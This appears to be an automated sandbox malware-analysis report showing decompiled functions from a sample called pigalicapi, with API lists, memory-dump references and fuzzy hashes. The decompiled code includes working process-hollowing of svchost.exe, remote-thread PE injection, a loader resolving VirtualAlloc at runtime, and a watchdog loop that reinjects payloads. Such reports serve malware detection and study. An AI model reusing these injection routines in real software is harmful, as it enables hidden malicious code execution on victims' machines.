C-Code - Quality: 90%

			E040078D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v5;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t31;
				void* _t46;

				_v5 = 0;
				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 >= _a8) {
					_v16 = 0;
					while(_v16 < _a8) {
						_t31 = E04007B70( &_v12, _v16 * 6 + _a4, 4);
						_push(_v12);
						L0400B1EC();
						_v20 = _t31;
						wnsprintfA(_v16 * 0x28 + _a12, 0x28, "%s:%u", _v20,  *(_a4 + 4 + _v16 * 6) & 0x0000ffff);
						_t46 = _t46 + 0x20;
						_v16 = _v16 + 1;
					}
					_v5 = 1;
				}
				return _v5;
			}

0x040078d6
0x040078de
0x040078f8
0x0400790a
0x04007922
0x0400792d
0x0400792e
0x04007933
0x0400795a
0x04007960
0x04007907
0x04007907
0x04007965
0x04007965
0x0400796f

APIs

inet_ntoa.WS2_32(00000000), ref: 0400792E
wnsprintfA.SHLWAPI ref: 0400795A

Strings

%s:%u, xrefs: 04007949

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: inet_ntoawnsprintf
String ID: %s:%u
API String ID: 890441721-1474915593
Opcode ID: 45e21c9532a10fe3660936149e330ed9fd96ba08dfcacbd0c7ca049c9e07423d
Instruction ID: 46ead0e7315176c8e7c3a96679b7c8ac73bfa04a13e8ca702a559205f2d732b6
Opcode Fuzzy Hash: 45e21c9532a10fe3660936149e330ed9fd96ba08dfcacbd0c7ca049c9e07423d
Instruction Fuzzy Hash: 05115B71A04208ABEB08CF94C995BEDBBB4EB50308F04C29DE915BB280D379F645CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04001E60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04001E60(CHAR* _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOA _v100;

				_v8 = 0;
				if(_a4 != 0) {
					E04007D20(E04007D20( &_v24,  &_v24, 0, 0x10),  &_v100, 0, 0x44);
					_v100.cb = 0x44;
					if(CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0,  &_v100,  &_v24) != 0) {
						CloseHandle(_v24.hThread);
						_v8 = _v24.hProcess;
					}
				}
				return _v8;
			}

0x04001e66
0x04001e71
0x04001e8b
0x04001e93
0x04001ebc
0x04001ec2
0x04001ecb
0x04001ecb
0x04001ebc
0x04001ed4

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 04001EB4
CloseHandle.KERNEL32(?), ref: 04001EC2

Strings

D, xrefs: 04001E93

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: D
API String ID: 3712363035-2746444292
Opcode ID: 59bcdaf37b1f271a783006bdc6eef328790e49f0bf96139ab545fec0931b98cd
Instruction ID: 8c18c5092416b0968d1e58d42d3dcefe862203e4accbbf984a8d418911b9581a
Opcode Fuzzy Hash: 59bcdaf37b1f271a783006bdc6eef328790e49f0bf96139ab545fec0931b98cd
Instruction Fuzzy Hash: 5C011275A4420CABEB10DF90DD45FEE77B9AB04704F148119E6087B2C0D775AA45C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0040230C Relevance: 5.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0040232F
free.MSVCRT ref: 00402375
LeaveCriticalSection.KERNEL32 ref: 00402381

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: 711738e446fe3b7edafeffa79fbdd3347046ec6280da55ba19de0ab90e35ac8b
Instruction ID: 24174dcb29c75eb10321d4f28545725da20b22b3dd9ddbd94471567b296ec203
Opcode Fuzzy Hash: 711738e446fe3b7edafeffa79fbdd3347046ec6280da55ba19de0ab90e35ac8b
Instruction Fuzzy Hash: 5D011B703042069BCB00EF75DA8892FB7E5BB54308754847E9848B73C1E6BCD980DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040222C Relevance: 5.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,004023C1,?,?,?,?,?,00401C54), ref: 0040224B
TlsGetValue.KERNEL32(?,?,?,?,004023C1,?,?,?,?,?,00401C54), ref: 00402261
GetLastError.KERNEL32(?,?,?,?,?,004023C1,?,?,?,?,?,00401C54), ref: 00402269
LeaveCriticalSection.KERNEL32(?,?,?,?,004023C1,?,?,?,?,?,00401C54), ref: 0040228C

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: b0d1a973718a68e77ae23a23f47d086d7b5acdbac98e9d8a1e001a8f832c1e7e
Instruction ID: d59e870dec7d302afa92fc910524551bdf3aec598eae15ddc7b5345af43b2dbe
Opcode Fuzzy Hash: b0d1a973718a68e77ae23a23f47d086d7b5acdbac98e9d8a1e001a8f832c1e7e
Instruction Fuzzy Hash: 28F0AD716046109BCF10BFE59A89A9F77E8EE04318B0000BEE840B32C1E3B899048AED

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 5832, Parent PID: 6056COMMON

Executed Functions

Function 04001F80 Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 300
memorystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E04001F80(intOrPtr _a4, signed char _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				char _v276;
				struct _CONTEXT _v996;
				struct _PROCESS_INFORMATION _v1012;
				intOrPtr _v1016;
				struct _STARTUPINFOA _v1092;
				intOrPtr _v1096;
				void _v1100;
				signed int _v1104;
				void* _t121;
				void* _t128;
				int _t130;
				void* _t132;
				int _t140;
				int _t143;
				int _t145;
				int _t148;
				void* _t180;
				void* _t263;
				void* _t265;
				void* _t266;

				if(_a4 == 0) {
					L26:
					return 0;
				}
				GetEnvironmentVariableA("SystemRoot",  &_v276, 0x104);
				_t121 =  *0x400304c( &_v276, "\\system32\\svchost.exe");
				if(_a12 != 0) {
					 *0x400304c( &_v276, " ");
					_t121 =  *0x400304c( &_v276, _a12);
				}
				E04001260(_t121,  &_v1012, 0, 0x10);
				E04001260( &_v1092,  &_v1092, 0, 0x44);
				_t265 = _t263 + 0x18;
				_v1092.cb = 0x44;
				_v1096 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
				_v1016 = _v1096 + ( *(_v1096 + 0x14) & 0x0000ffff) + 0x18;
				_v8 =  *((intOrPtr*)(_v1096 + 0x50));
				_t128 = VirtualAlloc(0, _v8, 0x3000, 0x40); // executed
				_v12 = _t128;
				if(_v12 != 0) {
					_t130 = CreateProcessA(0,  &_v276, 0, 0, 0, 4, 0, 0,  &_v1092,  &_v1012); // executed
					if(_t130 != 0) {
						_t132 = VirtualAllocEx(_v1012.hProcess,  *(_v1096 + 0x34), _v8, 0x3000, 0x40); // executed
						_v1100 = _t132;
						if(_v1100 != 0) {
							L10:
							E04001310(_v12, _a4,  *((intOrPtr*)(_v1096 + 0x54)));
							_t266 = _t265 + 0xc;
							_v1104 = 0;
							while(_v1104 < ( *(_v1096 + 6) & 0x0000ffff)) {
								if((_a8 & 0x000000ff) != 0) {
									E04001310(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								} else {
									E04001310(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0x14 + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								}
								_v1104 = _v1104 + 1;
							}
							E04001C00(_v12, _v1100);
							_t140 = WriteProcessMemory(_v1012.hProcess, _v1100, _v12, _v8, 0); // executed
							if(_t140 != 0) {
								VirtualFree(_v12, 0, 0x8000); // executed
								_v996.ContextFlags = 0x10007;
								_t143 = GetThreadContext(_v1012.hThread,  &_v996); // executed
								if(_t143 != 0) {
									_t145 = WriteProcessMemory(_v1012.hProcess, _v996.Ebx + 8,  &_v1100, 4, 0); // executed
									if(_t145 != 0) {
										_v996.Eax = _v1100 +  *((intOrPtr*)(_v1096 + 0x28));
										_t148 = SetThreadContext(_v1012.hThread,  &_v996); // executed
										if(_t148 == 0) {
											TerminateProcess(_v1012.hProcess, 0);
											CloseHandle(_v1012.hThread);
											CloseHandle(_v1012.hProcess);
											goto L26;
										}
										ResumeThread(_v1012.hThread); // executed
										return _v1012.hProcess;
									}
									TerminateProcess(_v1012.hProcess, 0);
									CloseHandle(_v1012.hProcess);
									CloseHandle(_v1012.hThread);
									return 0;
								}
								TerminateProcess(_v1012.hProcess, 0);
								CloseHandle(_v1012.hProcess);
								CloseHandle(_v1012.hThread);
								return 0;
							}
							TerminateProcess(_v1012.hProcess, 0);
							CloseHandle(_v1012.hProcess);
							CloseHandle(_v1012.hThread);
							VirtualFree(_v12, 0, 0x8000);
							return 0;
						}
						_t180 = VirtualAllocEx(_v1012.hProcess, 0, _v8, 0x103000, 0x40); // executed
						_v1100 = _t180;
						if(_v1100 != 0) {
							goto L10;
						}
						TerminateProcess(_v1012.hProcess, 0);
						CloseHandle(_v1012);
						CloseHandle(_v1012.hThread);
						VirtualFree(_v12, 0, 0x8000);
						return 0;
					}
					VirtualFree(_v12, 0, 0x8000);
					return 0;
				} else {
					return 0;
				}
			}

0x04001f8d
0x040023d2
0x00000000
0x040023d2
0x04001fa4
0x04001fb6
0x04001fc0
0x04001fce
0x04001fdf
0x04001fdf
0x04001ff0
0x04002003
0x04002008
0x0400200b
0x0400201e
0x04002038
0x04002047
0x04002057
0x0400205d
0x04002064
0x04002090
0x04002098
0x040020ce
0x040020d4
0x040020e1
0x0400214d
0x0400215f
0x04002164
0x04002167
0x04002182
0x0400219e
0x0400222e
0x04002233
0x040021a0
0x040021e2
0x040021e7
0x040021e7
0x0400217c
0x0400217c
0x04002246
0x04002266
0x0400226e
0x040022bc
0x040022c2
0x040022da
0x040022e2
0x04002330
0x04002338
0x04002376
0x0400238a
0x04002392
0x040023b2
0x040023bf
0x040023cc
0x00000000
0x040023cc
0x0400239b
0x00000000
0x040023a1
0x04002343
0x04002350
0x0400235d
0x00000000
0x04002363
0x040022ed
0x040022fa
0x04002307
0x00000000
0x0400230d
0x04002279
0x04002286
0x04002293
0x040022a4
0x00000000
0x040022aa
0x040020f7
0x040020fd
0x0400210a
0x00000000
0x00000000
0x04002115
0x04002122
0x0400212f
0x04002140
0x00000000
0x04002146
0x040020a5
0x00000000
0x04002066
0x00000000
0x04002066

APIs

GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 04001FA4
lstrcat.KERNEL32(?,\system32\svchost.exe), ref: 04001FB6
lstrcat.KERNEL32(?,0400317C), ref: 04001FCE
lstrcat.KERNEL32(?,00000000), ref: 04001FDF
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 04002057
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 04002090
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040020A5
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 040020CE
VirtualAllocEx.KERNELBASE(?,00000000,?,00103000,00000040), ref: 040020F7
TerminateProcess.KERNEL32(?,00000000), ref: 04002115
CloseHandle.KERNEL32(?), ref: 04002122
CloseHandle.KERNEL32(?), ref: 0400212F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002140

Strings

D, xrefs: 0400200B
\system32\svchost.exe, xrefs: 04001FAA
SystemRoot, xrefs: 04001F9F

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: Virtual$Alloclstrcat$CloseFreeHandleProcess$CreateEnvironmentTerminateVariable
String ID: D$SystemRoot$\system32\svchost.exe
API String ID: 1819736980-1559310322
Opcode ID: 036fed23e7ee821a2f18e3afc8e3bbde1b7bb66371f9036d2a87dc4e59fe086b
Instruction ID: 1d4488b5fdb617a131862b70200c6806e4887f475a197b4823290bb3b9e97252
Opcode Fuzzy Hash: 036fed23e7ee821a2f18e3afc8e3bbde1b7bb66371f9036d2a87dc4e59fe086b
Instruction Fuzzy Hash: 07D13EB1A00215ABDB29CF54DC94FAEB7B9FB48704F0485D8F709A7280D678AE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04001DC0 Relevance: 12.1, APIs: 8, Instructions: 149
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04001DC0(void* _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				long _v28;
				void* _v32;
				signed int _v36;
				void* _t75;
				void* _t78;
				int _t85;
				void* _t90;
				void* _t138;
				void* _t139;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L14:
					return _v8;
				} else {
					_v24 = _a8 +  *((intOrPtr*)(_a8 + 0x3c));
					_v20 = _v24 + ( *(_v24 + 0x14) & 0x0000ffff) + 0x18;
					_v12 =  *((intOrPtr*)(_v24 + 0x50));
					_t75 = VirtualAlloc(0, _v12, 0x3000, 0x40); // executed
					_v16 = _t75;
					if(_v16 != 0) {
						_t78 = VirtualAllocEx(_a4,  *(_v24 + 0x34), _v12, 0x3000, 0x40); // executed
						_v32 = _t78;
						if(_v32 != 0) {
							L7:
							E04001310(_v16, _a8,  *((intOrPtr*)(_v24 + 0x54)));
							_t139 = _t138 + 0xc;
							_v36 = 0;
							while(_v36 < ( *(_v24 + 6) & 0x0000ffff)) {
								E04001310(_v16 +  *((intOrPtr*)(_v20 + 0xc + _v36 * 0x28)), _a8 +  *((intOrPtr*)(_v20 + 0x14 + _v36 * 0x28)),  *((intOrPtr*)(_v20 + 0x10 + _v36 * 0x28)));
								_t139 = _t139 + 0xc;
								_v36 = _v36 + 1;
							}
							E04001C00(_v16, _v32);
							_t85 = WriteProcessMemory(_a4, _v32, _v16, _v12, 0); // executed
							if(_t85 != 0) {
								VirtualFree(_v16, 0, 0x8000); // executed
								_v28 = 0;
								_t90 = CreateRemoteThread(_a4, 0, 0, _v32 +  *((intOrPtr*)(_v24 + 0x28)), 0x11, 0,  &_v28); // executed
								_v8 = _t90;
								goto L14;
							}
							VirtualFree(_v16, 0, 0x8000);
							return 0;
						}
						_v32 = VirtualAllocEx(_a4, 0, _v12, 0x103000, 0x40);
						if(_v32 != 0) {
							goto L7;
						}
						VirtualFree(_v16, 0, 0x8000);
						return 0;
					}
					return 0;
				}
			}

0x04001dc6
0x04001dd1
0x04001f72
0x00000000
0x04001de1
0x04001dea
0x04001dfb
0x04001e04
0x04001e14
0x04001e1a
0x04001e21
0x04001e40
0x04001e46
0x04001e4d
0x04001e87
0x04001e96
0x04001e9b
0x04001e9e
0x04001eb0
0x04001eec
0x04001ef1
0x04001ead
0x04001ead
0x04001efe
0x04001f18
0x04001f20
0x04001f42
0x04001f48
0x04001f69
0x04001f6f
0x00000000
0x04001f6f
0x04001f2d
0x00000000
0x04001f33
0x04001e66
0x04001e6d
0x00000000
0x00000000
0x04001e7a
0x00000000
0x04001e80
0x00000000
0x04001e23

APIs

VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000040), ref: 04001E14
VirtualAllocEx.KERNELBASE(00000000,?,00000000,00003000,00000040), ref: 04001E40
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00103000,00000040), ref: 04001E60
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04001E7A

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: 52cf3d6ea764938bff9b522e6c342b7d46ced791a51747c70ce413cfb71456e5
Instruction ID: 690ccb563e0dd82574d8c7baf9c5524f022716bcc7e01862e985cdb9dd94f491
Opcode Fuzzy Hash: 52cf3d6ea764938bff9b522e6c342b7d46ced791a51747c70ce413cfb71456e5
Instruction Fuzzy Hash: B451FAB5E00209AFDB04CF94C895FAEB7B5FB48704F10C558FA05BB280D779AA41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401005 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00401005() {
				void* _t20;
				void* _t42;
				void* _t43;

				_pop(_t42);
				_t43 = _t42 - 5;
				_t1 = _t43 + 0x85; // 0x401085
				_t20 =  *_t1();
				_t2 = _t43 + 0x29ab9; // 0x42aab9
				_t3 = _t43 + 0x9a; // 0x40109a
				 *((intOrPtr*)(_t43 + 0x29af1)) =  *_t3(_t20, _t2);
				_t5 = _t43 + 0x29ac8; // 0x42aac8
				 *(_t43 + 0x29af5) = LoadLibraryExA(_t5, 0, 0);
				_t8 = _t43 + 0x29ad5; // 0x42aad5
				_t9 = _t43 + 0x29af5; // 0x74640000
				_t10 = _t43 + 0x9a; // 0x40109a
				 *((intOrPtr*)(_t43 + 0x29af9)) =  *_t10( *_t9, _t8);
				_t12 = _t43 + 0x29ae4; // 0x42aae4
				_t13 = _t43 + 0x29af5; // 0x74640000
				 *((intOrPtr*)(_t43 + 0x29afd)) = GetProcAddress( *_t13, _t12);
				_t16 = _t43 + 0x2b9; // 0x4012b9
				E00401126(_t16, _t43); // executed
				asm("lodsd");
				return  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 8));
			}

0x00401005
0x00401006
0x0040100c
0x00401012
0x00401014
0x0040101c
0x00401024
0x0040102a
0x0040103b
0x00401041
0x00401048
0x0040104e
0x00401056
0x0040105c
0x00401063
0x00401070
0x00401077
0x0040107e
0x00401094
0x00401099

APIs

LoadLibraryExA.KERNELBASE(kernel32.dll,00000000,00000000), ref: 00401035
GetProcAddress.KERNEL32(74640000,VirtualAlloc), ref: 0040106A

Part of subcall function 00401126: VirtualAlloc.KERNELBASE(?,?,00003000,00000040), ref: 00401144

Strings

kernel32.dll, xrefs: 00401034
GetProcAddress, xrefs: 00401047
VirtualAlloc, xrefs: 00401062
LoadLibraryExA, xrefs: 0040101A

Memory Dump Source

Source File: 0000000A.00000002.558761324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_svchost.jbxd

Similarity

API ID: AddressAllocLibraryLoadProcVirtual
String ID: GetProcAddress$LoadLibraryExA$VirtualAlloc$kernel32.dll
API String ID: 4074058790-1482053243
Opcode ID: bfa598e39201ea56365d01237002b764d44595e1bff33a7ec6927efc10a0c0ef
Instruction ID: 4ff399170a710021cd26f301060e842f1d9714487b9385cbdeed3e88436b29f7
Opcode Fuzzy Hash: bfa598e39201ea56365d01237002b764d44595e1bff33a7ec6927efc10a0c0ef
Instruction Fuzzy Hash: C701937264038D9FDB72DFA4CC84FDA37A9EF48300F014532E90DCBA50E675AA048B96

Uniqueness

Uniqueness Score: -1.00%

Function 04001780 Relevance: 13.6, APIs: 9, Instructions: 118
sleepthreadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E04001780() {
				char _v404;
				signed int _v408;
				struct _SECURITY_ATTRIBUTES* _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				void* _v424;
				struct _SECURITY_ATTRIBUTES* _v428;
				intOrPtr _v432;
				void* _v436;
				void* _v440;
				void* _v444;
				char* _t51;
				intOrPtr _t52;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t62;
				void* _t68;
				void* _t90;
				void* _t91;

				_t51 =  &_v404;
				_push(_t51);
				_push(0x202); // executed
				L0400100C(); // executed
				if(_t51 != 0) {
					L15:
					ExitProcess(0);
				}
				_v408 = 0;
				_v412 = 0;
				while(1) {
					_t52 = E04001490(); // executed
					_v416 = _t52;
					if(_v416 > 0 && _v416 < 0x2710) {
						break;
					}
					Sleep(0x7530);
				}
				 *0x4088c2c = CreateEventA(0, 1, 0, 0);
				_t54 = E040023E0( *((intOrPtr*)(0x4088c1c + _v408 * 4))); // executed
				_t91 = _t90 + 4;
				_v420 = _t54;
				if(_v420 != 0) {
					E04001DC0(_v420, 0x4085600); // executed
					_t68 = E04001470(0xc);
					_t91 = _t91 + 0xc;
					_v440 = _t68;
					_v424 = _v440;
					 *_v424 =  *(0x4088c1c + _v408 * 4);
					 *((intOrPtr*)(_v424 + 4)) = _v420;
					 *((intOrPtr*)(_v424 + 8)) = 0x4085600;
					CreateThread(0, 0, E04001630, _v424, 0, 0); // executed
				}
				_v428 = 0;
				while(_v428 < 3) {
					_t57 = E040023E0( *((intOrPtr*)(0x4088c20 + (_v412 + _v428) * 4))); // executed
					_t91 = _t91 + 4;
					_v432 = _t57;
					if(_v432 != 0) {
						E04001DC0(_v432, 0x4085600); // executed
						_t62 = E04001470(0xc);
						_t91 = _t91 + 0xc;
						_v444 = _t62;
						_v436 = _v444;
						 *_v436 =  *(0x4088c20 + (_v412 + _v428) * 4);
						 *((intOrPtr*)(_v436 + 4)) = _v432;
						 *((intOrPtr*)(_v436 + 8)) = 0x4085600;
						CreateThread(0, 0, E04001630, _v436, 0, 0); // executed
					}
					_v428 =  &(_v428->nLength);
				}
				WaitForSingleObject( *0x4088c2c, 0xffffffff);
				Sleep(0x9c40);
				L04001006();
				goto L15;
			}

0x04001789
0x0400178f
0x04001790
0x04001795
0x0400179c
0x040019a0
0x040019a2
0x040019a2
0x040017a2
0x040017ac
0x040017b6
0x040017b6
0x040017bb
0x040017c8
0x00000000
0x00000000
0x04001990
0x04001990
0x040017ec
0x040017ff
0x04001804
0x04001807
0x04001814
0x04001822
0x0400182c
0x04001831
0x04001834
0x04001840
0x04001859
0x04001867
0x04001870
0x0400188b
0x0400188b
0x04001891
0x040018ac
0x040018cd
0x040018d2
0x040018d5
0x040018e2
0x040018f4
0x040018fe
0x04001903
0x04001906
0x04001912
0x04001931
0x0400193f
0x04001948
0x04001963
0x04001963
0x040018a6
0x040018a6
0x04001976
0x04001981
0x0400199b
0x00000000

APIs

WSAStartup.WS2_32(00000202,?), ref: 04001795
ExitProcess.KERNEL32 ref: 040019A2

Part of subcall function 04001490: lstrcat.KERNEL32(?,04003134), ref: 04001581
Part of subcall function 04001490: GetTickCount.KERNEL32 ref: 04001587
Part of subcall function 04001490: closesocket.WS2_32(000000FF), ref: 04001606

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040017E6
CreateThread.KERNELBASE(00000000,00000000,Function_00001630,?,00000000,00000000), ref: 0400188B
CreateThread.KERNELBASE(00000000,00000000,Function_00001630,?,00000000,00000000), ref: 04001963
WaitForSingleObject.KERNEL32(?,000000FF), ref: 04001976
Sleep.KERNEL32(00009C40), ref: 04001981
Sleep.KERNEL32(00007530), ref: 04001990

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: Create$SleepThread$CountEventExitObjectProcessSingleStartupTickWaitclosesocketlstrcat
String ID:
API String ID: 1305884959-0
Opcode ID: a41e2e6088094ddaf64ef43a59fc0f2982de2e99ed4e0b2c61c148b4799e462e
Instruction ID: 2f7e3e578d268ca83db2a9f917eba75e9ec579b5eb93670916da3db20cf0bcb8
Opcode Fuzzy Hash: a41e2e6088094ddaf64ef43a59fc0f2982de2e99ed4e0b2c61c148b4799e462e
Instruction Fuzzy Hash: 14512674A01224AFFB60EF60DC59BDAB7B0AB49708F0480E8E5497B2C0D7756E84CF52

Uniqueness

Uniqueness Score: -1.00%

Function 04001630 Relevance: 12.1, APIs: 8, Instructions: 88
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E04001630(intOrPtr* _a4) {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _v16;
				int _v20;
				long _v24;
				int _t40;
				void* _t44;
				void* _t67;

				if(_a4 == 0) {
					L17:
					return 0;
				}
				 *0x4003090(0); // executed
				_v12 = 0x3e8;
				_v16 = 0x1388;
				_v8 = _a4;
				if( *_v8 == 0) {
					L16:
					 *0x4003094();
					goto L17;
				}
				_v20 = 0;
				while(_v20 <= 0x3e8) {
					if(WaitForSingleObject( *0x4088c2c, 1) != 0) {
						_v24 = 0;
						_t40 = GetExitCodeProcess( *(_v8 + 4),  &_v24); // executed
						if(_t40 == 0) {
							L15:
							continue;
						}
						if(_v24 != 0x103) {
							if(_v24 != 0x17d4a580) {
								CloseHandle( *(_v8 + 4));
								 *(_v8 + 4) = 0;
								Sleep(0xbb8);
								_t44 = E040023E0( *_v8);
								_t67 = _t67 + 4;
								 *(_v8 + 4) = _t44;
								if( *(_v8 + 4) != 0) {
									_v20 = _v20 + 1;
									if( *((intOrPtr*)(_v8 + 8)) != 0) {
										E04001DC0( *(_v8 + 4),  *((intOrPtr*)(_v8 + 8)));
										_t67 = _t67 + 8;
									}
									goto L15;
								}
								goto L16;
							}
							SetEvent( *0x4088c2c);
							goto L16;
						}
						Sleep(0x1388); // executed
						goto L15;
					}
					TerminateProcess( *(_v8 + 4), 0);
					goto L16;
				}
				goto L16;
			}

0x0400163a
0x0400176c
0x04001771
0x04001771
0x04001642
0x04001648
0x0400164f
0x04001659
0x04001662
0x04001766
0x04001766
0x00000000
0x04001766
0x04001668
0x0400166f
0x0400168d
0x040016a3
0x040016b5
0x040016bd
0x04001761
0x00000000
0x04001761
0x040016ca
0x040016e3
0x040016fd
0x04001706
0x04001712
0x0400171e
0x04001723
0x04001729
0x04001733
0x0400173f
0x04001749
0x04001759
0x0400175e
0x0400175e
0x00000000
0x04001749
0x00000000
0x04001735
0x040016ec
0x00000000
0x040016ec
0x040016d1
0x00000000
0x040016d1
0x04001698
0x00000000
0x04001698
0x00000000

APIs

CoInitialize.OLE32(00000000), ref: 04001642
WaitForSingleObject.KERNEL32(?,00000001), ref: 04001685
TerminateProcess.KERNEL32(?,00000000), ref: 04001698
GetExitCodeProcess.KERNELBASE(?,00000000), ref: 040016B5
Sleep.KERNELBASE(00001388), ref: 040016D1
SetEvent.KERNEL32(?), ref: 040016EC
CloseHandle.KERNEL32(?), ref: 040016FD
